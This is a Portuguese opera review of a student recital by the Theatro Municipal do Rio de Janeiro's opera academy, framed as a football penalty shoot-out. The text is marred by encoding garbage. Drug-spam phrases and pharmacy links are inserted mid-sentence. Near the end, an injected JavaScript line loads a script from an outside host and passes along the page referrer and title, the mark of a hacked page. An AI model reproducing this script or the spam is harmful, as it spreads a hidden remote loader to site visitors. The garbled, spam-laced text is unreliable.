CantoCríticaLateralRio de Janeiro

Uma partida com muitos gols

Alunos da Academia de A�pera Bidu SayA?o colorem tarde de domingo no TMRJ.

 

No futebol, hA? uma teoria segundo a qual, naqueles momentos de decisA�es por pA?naltis, o melhor cobrador do time deve ser o primeiro a executar o tiro livre. Ao converter sua cobranA�a, este jogador eleva o A?nimo da torcida de sua equipe, enche seus companheiros de moral e confianA�a, e, de quebra, joga pressA?o sobre o adversA?rio.

Foi mais ou menos assim que comeA�ou a Cortina LA�rica da tarde de domingo, 11 de setembro, no Theatro Municipal do Rio de Janeiro, protagonizada pelos alunos da Academia de A�pera da casa, a Academia Bidu SayA?o. NA?o comeA�ou com a melhor de suas alunas, pois dizer isso seria um tanto exagerado em se tratando de um grupo de artistas jovens em sua maioria, mas certamente comeA�ou com sua aluna mais surpreendente. E nA?o sA? isso: a escolha do repertA?rio da tarde recaiu, algumas vezes, em A?rias consideradas difA�ceis, seja pela dificuldade tA�cnica, seja pela maturidade artA�stica requerida.

Antes de seguir em frente, A� preciso ressaltar que, no A?mbito de uma academia como a do Theatro Municipal do Rio de Janeiro, A� natural encontrar alunos em estA?gios diferentes de evoluA�A?o, pois cada um tem o seu tempo de aprendizado. Nesta anA?lise, que nA?o se pretende de forma alguma definitiva, procurarei apontar o que mais chamou a atenA�A?o, positiva ou negativamente, em cada performance. E eventuais comentA?rios negativos ou atA� mesmo neutros podem ser considerados como um desafio a ser superado, da mesma forma que comentA?rios positivos nA?o devem de maneira alguma levar a crer que o jogo estA? ganho, pois na partida seguinte, poderA? haver um novo pA?nalti a ser cobrado, com um goleiro (partitura) mais alto e mais assustador do outro lado.

O “pontapA�” inicial da tarde comeA�ou com a Orquestra SinfA?nica da UFRJ atacando a abertura da A?pera La Forza del Destino, de Verdi. Sob a regA?ncia do jovem Gabriel Rhein-Schirato, que imprimiu uma leitura dinA?mica bastante particular, valorizando nuances de certas passagens da peA�a, o conjunto ofereceu uma bela interpretaA�A?o, com destaque para os belos solos do clarinetista Felipe Santos.

No restante do concerto, a orquestra acompanhou os solistas com grande correA�A?o e alguns momentos de brilho, como nos solos sob a responsabilidade da violoncelista Eleonora Fortunato, que se mostrou uma musicista bastante expressiva. O regente, por sua vez, ciente de que os solistas eram as estrelas da tarde, trabalhou para eles, imprimindo andamentos e dinA?micas que pudessem atender as necessidades de cada um.

Tatiana Nogueira, Gabriel Rhein-Schirato e Orquestra
Tatiana Nogueira, Gabriel Rhein-Schirato e Orquestra

 

E veio o primeiro pA?nalti. A soprano Tatiana Nogueira, aos 24 anos, exibiu um registro lA�rico-dramA?tico surpreendente para a sua idade, ao encarar nada menos que Pace, pace, mio Dio, da mesma Order Forza del Destino verdiana. Dona de um belA�ssimo timbre escuro, e demonstrando que segue por uma via tA�cnica segura e acertada, a artista arrebatou o pA?blico, exibindo ainda uma excelente projeA�A?o e riqueza de fraseado. Bola num canto, goleiro no outro.

Logo em seguida, uma seleA�A?o de trechos de Rigoletto, sempre de Verdi, invadiu o Municipal. O tenor Bruno dos Anjos, por sua vez, bateu seu pA?nalti pra fora, ao cantar a A?ria Questa o quella com voz opaca e sem brilho, e ainda dispensando a cadA?ncia. O barA�tono FlA?vio Mello e o baixo Leonardo Thieze atacaram em seguida o pequeno dueto Quel Vecchio maledivami com correA�A?o. Mello continuou no palco para oferecer o cA�lebre monA?logo do bobo da corte, Buy Purchase Pari siamo: aqui, pA?de-se perceber que o barA�tono tem um bom material vocal, mas a passagem, arriscada, exige uma maturidade vocal e emocional que sA? o tempo e a experiA?ncia podem trazer. TambA�m desperdiA�ou a cobranA�a, talvez por uma escolha equivocada para este estA?gio de sua evoluA�A?o.

Encerrando as passagens de Rigoletto, a soprano Luiza Lima marcou um belo gol com um Buy Caro nome simplesmente superior ao das duas intA�rpretes profissionais de Gilda nos dois elencos da A?ltima montagem desta A?pera no prA?prio Municipal. E nA?o sA?: exibiu uma voz clara e com agilidade satisfatA?ria, e certamente pode aspirar a voos maiores.

O baixo CA�cero Pires apostou em Puccini e ofereceu a Vecchia zimarra, de La BohA?me. Com uma interpretaA�A?o correta, mas sem maior brilho, sua cobranA�a ficou na trave. Precisa caprichar mais da prA?xima vez. Outro baixo, Patrick Oliveira veio com Carlos Gomes e, de Salvator Rosa, cantou Di sposo, di padre le gioie serene com boa projeA�A?o, mas com musicalidade cambaleante e com uma dicA�A?o que necessita de evidente aprimoramento em termos de clareza. AlA�m disso, sua tA�cnica pareceu-me precisar de sA�ria correA�A?o de rumo. TambA�m nA?o acertou o gol.

Quatro passagens do Werther, de Massenet, encerraram a primeira parte do concerto. A mezzosoprano Vivian Delfini cantou a chamada A?ria das cartas (Werther, Werther) como em um crescendo: comeA�ou apenas correta, mas progrediuA�ao longo de sua interpretaA�A?o, demonstrando boa projeA�A?o, boa tA�cnica geral e a musicalidade que faltou ao colega ali de cima. Bonito gol, assim como o de outra mezzo, CA�ntia Graton, que encarou Va! Laisse couler mes larmes com uma voz segura e belo timbre.

O tenor Guilherme Moreira
O tenor Guilherme Moreira

 

GolaA�o mesmo, em Werther, quem marcou foi o tenor Guilherme Moreira. E jA? que estava numa tarde “inspirada”, marcou logo dois. A�A�nature, pleine de Grace foi cantada muitA�ssimo bem, enquanto Pourquoi me rA�veiller ofereceu um pouco mais de dificuldade. Para encarA?-las, o artista exibiu um timbre tenoril belA�ssimo, A?tima projeA�A?o, agudos certeiros e musicalidade A� flor da pele. Precisa cuidar mais da postura diante do pA?blico. HA? pouco mais de um ano e meio, ouvi o excelente tenor italiano Francesco Meli dar vida a Werther na A�pera de Roma em uma atuaA�A?o arrebatadora. Ver um jovem como Moreira cantar estas duas A?rias jA? com o nA�vel por ele alcanA�ado, e fazendo a inevitA?vel comparaA�A?o com Meli em minha memA?ria, A� bastante gratificante.

Depois do intervalo, comeA�amos com Bellini. De Norma, a mezzosoprano Beatriz SimA�es, nA?o se sabe bem por que, ofereceu uma A?ria para soprano, a cA�lebre e nada fA?cil Casta Diva. A artista possui uma matA�ria-prima vocal de valor, que, se bem trabalhada, pode levA?-la a altos voos: sua voz A� belA�ssima e exala musicalidade e expressividade, mas enfrentou dificuldades em algumas passagens. Estaria pensando em se dedicar ao repertA?rio de soprano? A� preciso, aqui, muito cuidado para nA?o queimar etapas. NA?o seria nada agradA?vel ver uma cantora deste A?timo nA�vel ser desperdiA�ada. Marcou o seu gol, mas o goleiro chegou a tocar na bola.

Uma batida de seguranA�a, no cantinho e indefensA?vel, foi aquela da tambA�m mezzosoprano Lara Cavalcanti. Com Sgombra A? la sacra selva, tambA�m de get cialis without aprescription Norma, http://hongkongnews.com.hk/forzest-20-mg-price-in-india/ a cantora exibiu confortavelmente seu belo timbre e boa tA�cnica sem se arriscar muito.

A soprano Michele Menezes
A soprano Michele Menezes

 

Em seguida, ainda de Bellini, duas passagens de La Sonnambula: o baixo Leonardo Thieze voltou ao palco para interpretar com alguma oscilaA�A?o a A?ria Vi ravviso. Bola na trave, antes do belo gol da soprano Michele Menezes http://truonggiangmocchau.com/purchase-biaxin-for-sinus.htm . A artista cantou com tA�cnica segura, musicalidade e boa agilidade a A?ria Ah! Non credea mirarti, enfrentando um pouco de dificuldade na subsequente cabaletta. Falta-lhe trabalhar um pouco a presenA�a de palco, pois A�s vezes seus gestos parecem um tanto forA�ados.

JA? nos encaminhando para o fim do concerto, Bizet adentrou o palco do Municipal, com duas passagens de Les PA?cheurs de Perles. Primeiro a soprano LuA�sa Suarez, ouvida recentemente em Orfeu e EurA�dice, ofereceu a A?ria Comme autre fois com seguranA�a e expressividade, exibindo um rico fraseado e A?tima presenA�a. Um belo gol, seguido pelo chute duplo na trave do barA�tono FlA?vio Melo (retornando ao palco) e do tenor Leonardo Feitosa, que cantaram o dueto Au fond du temple saint: mais um momento de interpretaA�A?o correta, mas sem maior brilho. Mello uma vez mais exibiu uma voz promissora, que ainda pode evoluir bastante, enquanto Feitosa demonstrou possuir um belo timbre que tambA�m poderA? oferecer maiores alegrias no futuro.

Lucia di Lammermoor, de Donizetti, fechou o concerto, com todos os membros da Academia cantando o magnA�fico sexteto Chi mi frena in tal momento. Um belo final, que deixou no ouvido e na alma um gostinho de “quero mais”: um gol coletivo, com a participaA�A?o de todo o time.

E essa foi a partida de domingo no Municipal. Aqueles que nA?o marcaram os seus gols nA?o devem se acanhar. Afinal, qual A� o craque que nunca perdeu um pA?nalti? Outras oportunidades virA?o. JA? aqueles que converteram suas cobranA�as devem manter o foco e a dedicaA�A?o, para nA?o correr o risco de um indesejado revA�s nas prA?ximas partidas. O melhor da tarde foi verificar e concluir que, no paA�s do futebol, os jovens da nossa A?pera tambA�m batem um bolA?o.

Solistas nos agradecimentos
Solistas nos agradecimentos

Fotos: JA?lia RA?nai

Leia tambA�m a crA�tica de Marcos Menescal

 s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);

Leonardo Marques
Formado em Letras com pós-graduação em Língua Italiana. Frequentador assíduo de concertos e óperas. Participou de cursos particulares sobre ópera. E-mail: leonardo@movimento.com